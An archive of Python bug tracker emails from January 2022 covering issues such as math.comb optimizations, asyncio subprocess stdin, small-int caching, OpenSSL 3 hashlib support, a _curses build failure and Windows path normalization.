22:34:29 2022 From: report at bugs.python.org (perlang) Date: Thu, 13 Jan 2022 03:34:29 +0000 Subject: [issue46363] Two typos in verions 3.7 document translation of zh_CN Message-ID: <1642044869.85.0.57560793023.issue46363@roundup.psfhosted.org> New submission from perlang : In this URL, https://docs.python.org/zh-cn/3.7/library/ctypes.html There are two typos of '??' , the correct should be '??'(means callback) I think. Best Regards, perlang ---------- assignee: docs at python components: Documentation messages: 410459 nosy: docs at python, perlang priority: normal severity: normal status: open title: Two typos in verions 3.7 document translation of zh_CN versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 22:42:10 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 13 Jan 2022 03:42:10 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642045330.14.0.612366836289.issue37295@roundup.psfhosted.org> Raymond Hettinger added the comment: def comb64(n, k): 'comb(n, k) in multiplicative group modulo 64-bits' return (F[n] * Finv[k] * Finv[n-k] & (2**64-1)) << (S[n] - S[k] - S[n - k]) def comb_iterative(n, k): 'Straight multiply and divide when k is small.' result = 1 for r in range(1, k+1): result *= n - r + 1 result //= r return result def C(n, k): k = min(k, n - k) if k == 0: return 1 if k == 1: return n if k < len(k2n) and n <= k2n[k]: return comb64(n, k) # 64-bit fast case if k == FixedJ and n <= Jlim: return KnownComb[n] # Precomputed diagonal if k < 10: return comb_iterative(n, k) # Non-recursive for small k j = FixedJ if k > FixedJ and n <= Jlim else k // 2 return C(n, j) * C(n-j, k-j) // C(k, j) # Recursive case ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 22:43:19 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 13 Jan 2022 03:43:19 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642045399.83.0.86664081808.issue37295@roundup.psfhosted.org> Change by Raymond Hettinger : Added file: https://bugs.python.org/file50559/comb_pole2.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 23:40:13 2022 From: report at bugs.python.org (FeRD (Frank Dana)) Date: Thu, 13 Jan 2022 04:40:13 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1642048813.66.0.313215260774.issue46279@roundup.psfhosted.org> FeRD (Frank Dana) added the comment: Readding Tal to the nosy list, since my previous comment was inadvertently accompanied by an eviction! (Sorry about that.) ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 00:43:00 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 13 Jan 2022 05:43:00 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642052580.62.0.588402956215.issue46345@roundup.psfhosted.org> Guido van Rossum added the comment: Wasn?t the fix for it also backported? (Weird that the test wasn?t part of the fix.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 00:47:55 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 13 Jan 2022 05:47:55 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642052875.93.0.876742217854.issue46345@roundup.psfhosted.org> Dong-hee Na added the comment: @gvanrossum Ah okay, Looks like bpo-46195 is the root of this issue. In this case, backporting is reasonable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 00:48:01 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 13 Jan 2022 05:48:01 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642052881.05.0.293883384308.issue46345@roundup.psfhosted.org> Change by Dong-hee Na : ---------- versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 00:58:05 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 13 Jan 2022 05:58:05 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642053485.98.0.519350824728.issue46345@roundup.psfhosted.org> Dong-hee Na added the comment: @sobolevn Do you want to close it? Cleaning up the issue is one of the duties of triage members :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:18:32 2022 From: report at bugs.python.org (xoph) Date: Thu, 13 Jan 2022 08:18:32 +0000 Subject: [issue46364] asyncio subprocess cannot read from /dev/stdin Message-ID: <1642061912.8.0.614149545216.issue46364@roundup.psfhosted.org> Change by xoph : ---------- components: asyncio nosy: asvetlov, xoph, yselivanov priority: normal severity: normal status: open title: asyncio subprocess cannot read from /dev/stdin type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:24:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 13 Jan 2022 08:24:47 +0000 Subject: [issue46363] Two typos in verions 3.7 document translation of zh_CN In-Reply-To: <1642044869.85.0.57560793023.issue46363@roundup.psfhosted.org> Message-ID: <1642062287.15.0.701984722781.issue46363@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Is this also in newer versions? Can you submit a pull request to fix it in the main branch? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:24:51 2022 From: report at bugs.python.org (xoph) Date: Thu, 13 Jan 2022 08:24:51 +0000 Subject: [issue46364] asyncio subprocess cannot read from /dev/stdin Message-ID: <1642062291.75.0.573432882614.issue46364@roundup.psfhosted.org> New submission from xoph : asyncio.create_subprocess_exec and asyncio.create_subprocess_shell fail with "No such device or address" when called on a program that attempts to invoke `/dev/stdin` on Linux. This happens in contrast to the subprocess module and was discussed in the this thread: https://stackoverflow.com/questions/70624413/how-to-read-from-dev-stdin-with-asyncio-create-subprocess-exec It seems while subprocess uses a pipe, asyncio uses socket.socketpair() to communicate with the subprocess which in turn appears to fail for `/dev/stdin` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:29:18 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 13 Jan 2022 08:29:18 +0000 Subject: [issue46363] Two typos in verions 3.7 document translation of zh_CN In-Reply-To: <1642044869.85.0.57560793023.issue46363@roundup.psfhosted.org> Message-ID: <1642062558.04.0.284984689297.issue46363@roundup.psfhosted.org> Change by Alex Waygood : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:35:50 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Thu, 13 Jan 2022 08:35:50 +0000 Subject: [issue46364] asyncio subprocess cannot read from /dev/stdin In-Reply-To: <1642062291.75.0.573432882614.issue46364@roundup.psfhosted.org> Message-ID: <1642062950.27.0.753242469461.issue46364@roundup.psfhosted.org> Andrew Svetlov added the comment: True. Would you make a pull request that uses socketpair on AIX only? A test for desired behavior is required. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:36:13 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 13 Jan 2022 08:36:13 +0000 Subject: [issue46361] Small ints aren't always cached properly In-Reply-To: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> Message-ID: <1642062973.83.0.596261558686.issue46361@roundup.psfhosted.org> Mark Dickinson added the comment: I don't *think* we currently rely on small integers being cached anywhere in the implementation (and neither do we guarantee anywhere in the docs that small integers will be cached), so as far as I can tell these omissions shouldn't lead to user-visible bugs. I agree that these cases should be fixed, though. ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:43:52 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 13 Jan 2022 08:43:52 +0000 Subject: [issue46363] Two typos in versions 3.7 document translation of zh_CN In-Reply-To: <1642044869.85.0.57560793023.issue46363@roundup.psfhosted.org> Message-ID: <1642063432.29.0.648140930212.issue46363@roundup.psfhosted.org> Change by Alex Waygood : ---------- title: Two typos in verions 3.7 document translation of zh_CN -> Two typos in versions 3.7 document translation of zh_CN _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:43:53 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 13 Jan 2022 08:43:53 +0000 Subject: [issue46361] Small ints aren't always cached properly In-Reply-To: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> Message-ID: <1642063433.5.0.123050005077.issue46361@roundup.psfhosted.org> Mark Dickinson added the comment: Hmm. This sort of thing is a little dodgy, though (despite the comment that it's "okay"): https://github.com/python/cpython/blob/1de60155d5d01be2924e72fb68dd13d4fd00acd7/Modules/mathmodule.c#L939 PyObject *zero = _PyLong_GetZero(); // borrowed ref for (i = 1; i < nargs; i++) { /* --- 8< --- snipped code */ if (res == zero) { /* Fast path: just check arguments. It is okay to use identity comparison here. */ Py_DECREF(x); continue; } /* --- 8< --- snipped code*/ } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:46:14 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 08:46:14 +0000 Subject: [issue46315] Add support for WebAssembly System Interface (wasm32-wasi) In-Reply-To: <1641739663.52.0.433507958543.issue46315@roundup.psfhosted.org> Message-ID: <1642063574.84.0.309073568083.issue46315@roundup.psfhosted.org> Christian Heimes added the comment: New changeset a6ca8eee2254762422f90cf94fbaac34f85db780 by Christian Heimes in branch 'main': bpo-46315: Add ifdef HAVE_ feature checks for WASI compatibility (GH-30507) https://github.com/python/cpython/commit/a6ca8eee2254762422f90cf94fbaac34f85db780 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:46:48 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 08:46:48 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642063608.15.0.796467273388.issue40479@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28773 pull_request: https://github.com/python/cpython/pull/30573 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:46:48 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 08:46:48 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642063608.2.0.134605526763.issue40479@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 443b308fee088e21bbf472c376c5c9e3648f916c by Christian Heimes in branch 'main': bpo-40479: Fix hashlib's usedforsecurity for OpenSSL 3.0.0 (GH-30455) https://github.com/python/cpython/commit/443b308fee088e21bbf472c376c5c9e3648f916c ---------- message_count: 6.0 -> 7.0 pull_requests: +28773 pull_request: https://github.com/python/cpython/pull/30573 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:53:24 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 13 Jan 2022 08:53:24 +0000 Subject: [issue46361] Small ints aren't always cached properly In-Reply-To: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> Message-ID: <1642064004.96.0.772825780838.issue46361@roundup.psfhosted.org> Mark Dickinson added the comment: And there are some similar things going on in rangeobject.c. https://github.com/python/cpython/blob/1de60155d5d01be2924e72fb68dd13d4fd00acd7/Objects/rangeobject.c#L598 if (r->step == _PyLong_GetOne()) { return idx; } Again, technically "okay", since it's only a fast path and the slow path that follows will still do the right thing with a 1 that's not "the" 1, but it feels fragile. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 03:59:42 2022 From: report at bugs.python.org (simon28li) Date: Thu, 13 Jan 2022 08:59:42 +0000 Subject: [issue46365] _ curses module is not installed Message-ID: <1642064382.91.0.285333695171.issue46365@roundup.psfhosted.org> New submission from simon28li : Python build finished successfully! The necessary bits to build these optional modules were not found: _curses _curses_panel _tkinter To find the necessary bits, look in setup.py in detect_modules() for the module's name. ---------- components: Extension Modules messages: 410473 nosy: simon28li priority: normal severity: normal status: open title: _ curses module is not installed type: compile error versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 04:02:12 2022 From: report at bugs.python.org (simon28li) Date: Thu, 13 Jan 2022 09:02:12 +0000 Subject: [issue46365] _ curses module is not installed In-Reply-To: <1642064382.91.0.285333695171.issue46365@roundup.psfhosted.org> Message-ID: <1642064532.63.0.314836232528.issue46365@roundup.psfhosted.org> simon28li added the comment: My system is Ubuntu 18.04.5 I am sure that nurses dependencies have been installed, and my other systems are normal, including centos, debian, etc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 04:03:57 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 13 Jan 2022 09:03:57 +0000 Subject: [issue46365] _ curses module is not installed In-Reply-To: <1642064382.91.0.285333695171.issue46365@roundup.psfhosted.org> Message-ID: <1642064637.03.0.233175595033.issue46365@roundup.psfhosted.org> Steven D'Aprano added the comment: Did you look in setup.py in detect_modules() for the module's name to see what was missing? How do you know the curses dependencies have been installed? What dependencies did you install? ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 04:16:54 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 09:16:54 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642065414.67.0.856515101053.issue40479@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28774 pull_request: https://github.com/python/cpython/pull/30574 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 04:18:22 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 13 Jan 2022 09:18:22 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1642065502.89.0.640280339125.issue46279@roundup.psfhosted.org> Change by Alex Waygood : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 04:42:17 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 09:42:17 +0000 Subject: [issue46365] _ curses module is not installed In-Reply-To: <1642064382.91.0.285333695171.issue46365@roundup.psfhosted.org> Message-ID: <1642066937.16.0.528015598421.issue46365@roundup.psfhosted.org> Christian Heimes added the comment: Please post the full output of ``make sharedmods``. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 04:44:53 2022 From: report at bugs.python.org (simon28li) Date: Thu, 13 Jan 2022 09:44:53 +0000 Subject: [issue46365] _ curses module is not installed In-Reply-To: <1642064382.91.0.285333695171.issue46365@roundup.psfhosted.org> Message-ID: <1642067093.1.0.126469410609.issue46365@roundup.psfhosted.org> simon28li added the comment: @christian.heimes root at ubuntu:/home/all_spack_env/spack_stage/root/spack-stage-python-3.8.8-qznik3f2b7fym4rm52tmsuma5w6jvfqo/spack-src/spack-build# make sharedmods LD_LIBRARY_PATH=/home/all_spack_env/spack_stage/root/spack-stage-python-3.8.8-qznik3f2b7fym4rm52tmsuma5w6jvfqo/spack-src/spack-build CC='/home/all_spack_env/spack/lib/spack/env/gcc/gcc -pthread' LDSHARED='/home/all_spack_env/spack/lib/spack/env/gcc/gcc -pthread -shared -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/gettext-0.21-pahcwqqpkyw7nnatkmlxoiajupqj63jb/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/readline-8.0-qj3hfcaeej5naqnmbbk25qnit4vg2tsd/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/ncurses-6.2-dq3tdieialpd75zjql4figcxmrexqhtu/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/openssl-1.1.1j-4fz5iri7xivopxihofcabprv7fw3m7oj/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/sqlite-3.34.0-szeguxgzkufj3z2dphuk7yus4dtbbsiv/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/zlib-1.2.11-7ntzewxyqpf6tpe54lsljycqorghrjw6/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/bzip2-1.0.8-abngfcsi54l76apmpbpbbdqn43qne5cx/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/xz-5.2.5-ctwgsoxytykmze3na6ep7mcnsm2lmjh5/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/expat-2.2.10-2cahbh66hrym5n4ksq2qwaejowp3xvm6/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/libffi-3.3-hitdprx44ijjdq2carqkdaao32xw7mb2/lib -L/home/all_spack_env/spack/opt/spack/linux-ubuntu18.04-aarch64/gcc-7.5.0/util-linux-uuid-2.36-3mpwcdafr6bb6vc3pd2asmf554foyake/lib ' CFLAGS='-Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC ' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E /home/all_spack_env/spack_stage/root/spack-stage-python-3.8.8-qznik3f2b7fym4rm52tmsuma5w6jvfqo/spack-src/setup.py --no-user-cfg build running build running build_ext xxxxxxxxxxxxxx INFO: Can't locate Tcl/Tk libs and/or headers Python build finished successfully! The necessary bits to build these optional modules were not found: _curses _curses_panel _dbm _gdbm _tkinter To find the necessary bits, look in setup.py in detect_modules() for the module's name. The following modules found by detect_modules() in setup.py, have been built by the Makefile instead, as configured by the Setup files: _abc atexit pwd time running build_scripts copying and adjusting /home/all_spack_env/spack_stage/root/spack-stage-python-3.8.8-qznik3f2b7fym4rm52tmsuma5w6jvfqo/spack-src/Tools/scripts/pydoc3 -> build/scripts-3.8 copying and adjusting /home/all_spack_env/spack_stage/root/spack-stage-python-3.8.8-qznik3f2b7fym4rm52tmsuma5w6jvfqo/spack-src/Tools/scripts/idle3 -> build/scripts-3.8 copying and adjusting /home/all_spack_env/spack_stage/root/spack-stage-python-3.8.8-qznik3f2b7fym4rm52tmsuma5w6jvfqo/spack-src/Tools/scripts/2to3 -> build/scripts-3.8 changing mode of build/scripts-3.8/pydoc3 from 644 to 755 changing mode of build/scripts-3.8/idle3 from 644 to 755 changing mode of build/scripts-3.8/2to3 from 644 to 755 renaming build/scripts-3.8/pydoc3 to build/scripts-3.8/pydoc3.8 renaming build/scripts-3.8/idle3 to build/scripts-3.8/idle3.8 renaming build/scripts-3.8/2to3 to build/scripts-3.8/2to3-3. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 04:48:29 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 09:48:29 +0000 Subject: [issue46365] _ curses module is not installed In-Reply-To: <1642064382.91.0.285333695171.issue46365@roundup.psfhosted.org> Message-ID: <1642067309.75.0.177228536017.issue46365@roundup.psfhosted.org> Christian Heimes added the comment: That does not look like the full output. Did you omit lines? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 04:51:15 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 09:51:15 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642067475.89.0.499047355073.issue40479@roundup.psfhosted.org> Christian Heimes added the comment: Something went wrong with Miss Islington. 3ce6945f5f434806eea700eb5ff1bed6d39395e1 / GH-30573 is backport to 3.10. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 04:52:44 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 13 Jan 2022 09:52:44 +0000 Subject: [issue30569] Tutorial section 2.1 has *nix example at 3.7, but Windows at 3.6 In-Reply-To: <1496609553.39.0.613003310721.issue30569@psf.upfronthosting.co.za> Message-ID: <1642067564.79.0.573577445177.issue30569@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 05:07:54 2022 From: report at bugs.python.org (Daviddcc) Date: Thu, 13 Jan 2022 10:07:54 +0000 Subject: [issue46366] Recursively propagate the mode, in os.makedirs Message-ID: <1642068474.42.0.461726294007.issue46366@roundup.psfhosted.org> New submission from Daviddcc : os.makedirs do not propagate the requested rights, recursively creating directories with a 777 mode : def makedirs(name, mode=0o777, exist_ok=False): (...) if head and tail and not path.exists(head): try: makedirs(head, exist_ok=exist_ok) # <= HERE ---------- components: Library (Lib) messages: 410480 nosy: dcasier priority: normal severity: normal status: open title: Recursively propagate the mode, in os.makedirs type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 05:21:14 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 10:21:14 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642069274.98.0.510578526855.issue40479@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 4ddd5da2691bea39e36debbc7f53c7cc4f13904e by Christian Heimes in branch '3.9': [3.9] bpo-40479: Fix hashlib's usedforsecurity for OpenSSL 3.0.0 (GH-30455) (GH-30574) https://github.com/python/cpython/commit/4ddd5da2691bea39e36debbc7f53c7cc4f13904e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 05:24:02 2022 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 13 Jan 2022 10:24:02 +0000 Subject: [issue46362] os.path.abspath() needs more normalization on Windows In-Reply-To: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> Message-ID: <1642069442.06.0.528946721443.issue46362@roundup.psfhosted.org> Eric V. Smith added the comment: Can you show various paths, before and after your change? It?s not clear to me what you?re proposing to change. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 05:28:59 2022 From: report at bugs.python.org (Daviddcc) Date: Thu, 13 Jan 2022 10:28:59 +0000 Subject: [issue46366] Recursively propagate the mode, in os.makedirs In-Reply-To: <1642068474.42.0.461726294007.issue46366@roundup.psfhosted.org> Message-ID: <1642069739.78.0.3862906958.issue46366@roundup.psfhosted.org> Daviddcc added the comment: This is the correct approach, with an umask configured ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 05:36:37 2022 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Thu, 13 Jan 2022 10:36:37 +0000 Subject: [issue46363] Two typos in versions 3.7 document translation of zh_CN In-Reply-To: <1642044869.85.0.57560793023.issue46363@roundup.psfhosted.org> Message-ID: <1642070197.13.0.958490360215.issue46363@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: Translated documentation is maintained at https://github.com/python/python-docs-zh-cn/issues ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 07:01:10 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 12:01:10 +0000 Subject: [issue37595] Python 3.7.4 does not build on Raspbian Buster with optimizations In-Reply-To: <1563155199.46.0.613653313897.issue37595@roundup.psfhosted.org> Message-ID: <1642075270.05.0.85310805456.issue37595@roundup.psfhosted.org> Christian Heimes added the comment: ./configure --enable-optimizations && make is passing for 3.9 branch on Raspbian Buster with latest updates. I tested it on one of my Raspberry Pi 3 Model B Rev 1.2 in the morning. Python 3.7 and 3.8 are in security fix-only mode and therefore no longer in scope. ---------- nosy: +christian.heimes resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 07:34:16 2022 From: report at bugs.python.org (Ethan Furman) Date: Thu, 13 Jan 2022 12:34:16 +0000 Subject: [issue22506] `dir` on Enum subclass doesn't expose parent class attributes In-Reply-To: <1411829845.48.0.985714520453.issue22506@psf.upfronthosting.co.za> Message-ID: <1642077256.95.0.28023643303.issue22506@roundup.psfhosted.org> Ethan Furman added the comment: Ram asked: --------- > Also, aren't you excluding a lot of important magic methods from that `dir`? Ethan replied: ------------- > We decided the dunder methods were not interesting, so declined to include > them in the listing. And no, we are not changing our minds on that. ;) ------------------------------------------------------------------------------ UPDATE: We have changed our minds, but only for enums that have a data type, such as `int` or `str`, mixed in. This behavior should be in 3.11. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 07:35:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 13 Jan 2022 12:35:02 +0000 Subject: [issue46344] 3.11: except/else/if/raise traced incorrectly In-Reply-To: <1641906652.4.0.592268865444.issue46344@roundup.psfhosted.org> Message-ID: <1642077302.19.0.888245904955.issue46344@roundup.psfhosted.org> Irit Katriel added the comment: Thank you Ned. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 07:34:42 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 13 Jan 2022 12:34:42 +0000 Subject: [issue46344] 3.11: except/else/if/raise traced incorrectly In-Reply-To: <1641906652.4.0.592268865444.issue46344@roundup.psfhosted.org> Message-ID: <1642077282.0.0.467103494579.issue46344@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 9c2ebb906d1c68c3d571b100c92ceb08805b94cd by Irit Katriel in branch 'main': bpo-46344: Fix trace bug in else of try and try-star blocks (GH-30544) https://github.com/python/cpython/commit/9c2ebb906d1c68c3d571b100c92ceb08805b94cd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 07:36:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 13 Jan 2022 12:36:02 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1642077362.12.0.296301160025.issue46328@roundup.psfhosted.org> Irit Katriel added the comment: New changeset c590b581bba517f81ced2e6f531ccc9e2e22eab5 by Irit Katriel in branch 'main': bpo-46328: Add sys.exception() (GH-30514) https://github.com/python/cpython/commit/c590b581bba517f81ced2e6f531ccc9e2e22eab5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 07:36:20 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 13 Jan 2022 12:36:20 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1642077380.29.0.741061963574.issue46328@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 08:05:58 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 13 Jan 2022 13:05:58 +0000 Subject: [issue40838] inspect.getsourcefile documentation doesn't mention it can return None In-Reply-To: <1591011704.27.0.0385051429778.issue40838@roundup.psfhosted.org> Message-ID: <1642079158.75.0.22180469018.issue40838@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch nosy: +sobolevn nosy_count: 3.0 -> 4.0 pull_requests: +28775 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30575 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 08:09:48 2022 From: report at bugs.python.org (Ken Jin) Date: Thu, 13 Jan 2022 13:09:48 +0000 Subject: [issue46359] Continue to modernize `test_typing.py` In-Reply-To: <1642021860.94.0.97959181938.issue46359@roundup.psfhosted.org> Message-ID: <1642079388.04.0.30261117943.issue46359@roundup.psfhosted.org> Ken Jin added the comment: New changeset 8c49d057bf8618208d4ed67c9caecbfa71f7a2d0 by Nikita Sobolev in branch 'main': bpo-46359: Modernize `test_typing` by removing checks for EOL Python versions (GH-30563) https://github.com/python/cpython/commit/8c49d057bf8618208d4ed67c9caecbfa71f7a2d0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 08:30:57 2022 From: report at bugs.python.org (neonene) Date: Thu, 13 Jan 2022 13:30:57 +0000 Subject: [issue46362] os.path.abspath() needs more normalization on Windows In-Reply-To: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> Message-ID: <1642080657.92.0.951234319788.issue46362@roundup.psfhosted.org> neonene added the comment: Basically, PR30571 aims for compatibility with 3.10 and earlier. Using Windows API is the easiest and the same way as them: import os.path paths = [ r'C:\CON', r'C:\PRN', r'C:\AUX', r'C:\NUL', r'C:\COM1', r'C:\COM2', r'C:\COM3', r'C:\COM9', 